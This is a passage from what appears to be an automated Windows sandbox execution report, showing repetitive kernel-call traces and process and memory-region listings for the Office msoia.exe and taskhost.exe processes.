ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.426] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.427] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.427] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.427] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.428] IoGetCurrentProcess () returned 0xffffe0000120d900 [0112.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.074] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.074] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0113.075] EngAllocMem () returned 0xfffff9014087f840 [0113.075] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.075] MmMapViewOfSection (in: SectionObject=0xffffc00001b06d40, Process=0xffffe0000120d900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0x92ca2d0000, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0113.075] EngCreateBitmap () returned 0x5d0506fe [0113.075] EngAssociateSurface () returned 0x1 [0113.075] EngLockSurface () returned 0xfffff901425358a8 [0113.075] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000007fcda0 [0113.075] KeInitializeEvent (in: Event=0xffffe000007fcdb8, Type=0x1, State=0 | out: Event=0xffffe000007fcdb8) [0113.075] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.160] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.171] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.171] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.171] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.171] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.171] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.172] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.204] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.204] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.205] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.258] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.258] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.259] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.259] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.340] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.340] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.340] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.340] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.383] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.384] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.384] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.384] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.531] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.531] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.531] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.571] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.572] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.572] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.572] EngAllocMem () returned 0xfffff90142561ca0 [0113.572] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.572] MmMapViewOfSection (in: SectionObject=0xffffc00001594e00, Process=0xffffe0000120d900, BaseAddress=0xfffff90142561fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff90142561fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142561fc8*=0x92ca8d0000, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff90142561fe0) returned 0x0 [0113.572] EngCreateBitmap () returned 0x80505c9 [0113.572] EngAssociateSurface () returned 0x1 [0113.572] EngLockSurface () returned 0xfffff901400d76b8 [0113.572] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000147d450 [0113.572] KeInitializeEvent (in: Event=0xffffe0000147d468, Type=0x1, State=0 | out: Event=0xffffe0000147d468) [0113.572] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.576] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.577] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.636] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.637] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.637] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.637] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.637] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.697] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.697] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.697] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.756] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.756] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.757] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.757] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.818] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.819] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.819] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.819] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.885] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.885] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.885] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.886] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.936] IoGetCurrentProcess () returned 0xffffe0000120d900 [0113.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.084] IoGetCurrentProcess () returned 0xffffe0000120d900 [0114.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0114.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.084] IoGetCurrentProcess () returned 0xffffe0000120d900 [0114.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0114.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.221] MmUnmapViewOfSection (Process=0xffffe0000120d900, BaseAddress=0x92ca8d0000) returned 0x0 [0114.222] MmUnmapViewOfSection (Process=0xffffe0000120d900, BaseAddress=0x92cd790000) returned 0x0 Process: id = "59" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\office15\\msoia.exe" page_root = "0x6724c000" os_pid = "0x45c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office15\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4963 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4964 start_va = 0x8a68910000 end_va = 0x8a6892ffff entry_point = 0x0 region_type = private name = "private_0x0000008a68910000" filename = "" Region: id = 4965 start_va = 0x8a68930000 end_va = 0x8a6893efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a68930000" filename = "" Region: id = 4966 start_va = 0x8a68940000 end_va = 0x8a68a3ffff entry_point = 0x0 region_type = private name = "private_0x0000008a68940000" filename = "" Region: id = 4967 start_va = 0x8a68a40000 end_va = 0x8a68a43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a68a40000" filename = "" Region: id = 4968 start_va = 0x7ff7cc9d0000 end_va = 0x7ff7cc9f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7cc9d0000" filename = "" Region: id = 4969 start_va = 0x7ff7cc9fd000 end_va = 0x7ff7cc9fefff entry_point = 0x0 region_type = private name = "private_0x00007ff7cc9fd000" filename = "" Region: id = 4970 start_va = 0x7ff7cc9ff000 end_va = 0x7ff7cc9fffff entry_point = 0x0 region_type = private name = "private_0x00007ff7cc9ff000" filename = "" Region: id = 4971 start_va = 0x7ff7cccf0000 end_va = 0x7ff7ccd4efff entry_point = 0x7ff7cccf0000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\Office15\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\office15\\msoia.exe") Region: id = 4972 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4973 start_va = 0x8a68a50000 end_va = 0x8a68a51fff entry_point = 0x0 region_type = private name = "private_0x0000008a68a50000" filename = "" Region: id = 5859 start_va = 0x8a68b60000 end_va = 0x8a68c5ffff entry_point = 0x0 region_type = private name = "private_0x0000008a68b60000" filename = "" Region: id = 5860 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5861 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5886 start_va = 0x8a68910000 end_va = 0x8a6891ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a68910000" filename = "" Region: id = 5887 start_va = 0x7ff7cc8d0000 end_va = 0x7ff7cc9cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7cc8d0000" filename = "" Region: id = 5888 start_va = 0x8a68a60000 end_va = 0x8a68addfff entry_point = 0x8a68a60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5889 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5890 start_va = 0x5e6d0000 end_va = 0x5e7a1fff entry_point = 0x5e6d0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 6189 start_va = 0x5e630000 end_va = 0x5e6c7fff entry_point = 0x5e6771d0 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\System32\\msvcp100.dll" (normalized: "c:\\windows\\system32\\msvcp100.dll") Region: id = 6190 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6191 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6192 start_va = 0x8a68920000 end_va = 0x8a68926fff entry_point = 0x0 region_type = private name = "private_0x0000008a68920000" filename = "" Region: id = 7087 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 7088 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7089 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7090 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7091 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7092 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7093 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7094 start_va = 0x8a68c60000 end_va = 0x8a68d2ffff entry_point = 0x0 region_type = private name = "private_0x0000008a68c60000" filename = "" Region: id = 7095 start_va = 0x8a68ae0000 end_va = 0x8a68ae6fff entry_point = 0x0 region_type = private name = "private_0x0000008a68ae0000" filename = "" Region: id = 7096 start_va = 0x8a68d30000 end_va = 0x8a68dfffff entry_point = 0x0 region_type = private name = "private_0x0000008a68d30000" filename = "" Region: id = 7097 start_va = 0x8a68af0000 end_va = 0x8a68af6fff entry_point = 0x0 region_type = private name = "private_0x0000008a68af0000" filename = "" Region: id = 7098 start_va = 0x8a68b00000 end_va = 0x8a68b33fff entry_point = 0x8a68b01030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7099 start_va = 0x8a68e00000 end_va = 0x8a68f87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a68e00000" filename = "" Region: id = 7100 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7101 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7102 start_va = 0x8a68f90000 end_va = 0x8a69110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a68f90000" filename = "" Region: id = 7103 start_va = 0x8a69120000 end_va = 0x8a6a51ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008a69120000" filename = "" Region: id = 7719 start_va = 0x8a68b00000 end_va = 0x8a68b00fff entry_point = 0x0 region_type = private name = "private_0x0000008a68b00000" filename = "" Region: id = 7720 start_va = 0x8a68b10000 end_va = 0x8a68b10fff entry_point = 0x0 region_type = private name = "private_0x0000008a68b10000" filename = "" Region: id = 7721 start_va = 0x8a68b20000 end_va = 0x8a68b20fff entry_point = 0x0 region_type = private name = "private_0x0000008a68b20000" filename = "" Region: id = 7722 start_va = 0x8a68b30000 end_va = 0x8a68b30fff entry_point = 0x0 region_type = private name = "private_0x0000008a68b30000" filename = "" Thread: id = 536 os_tid = 0x460 Process: id = "60" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x678fa000" os_pid = "0x4c0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "taskhost.exe TpmTasks" cur_dir = "C:\\Windows\\system32\\" 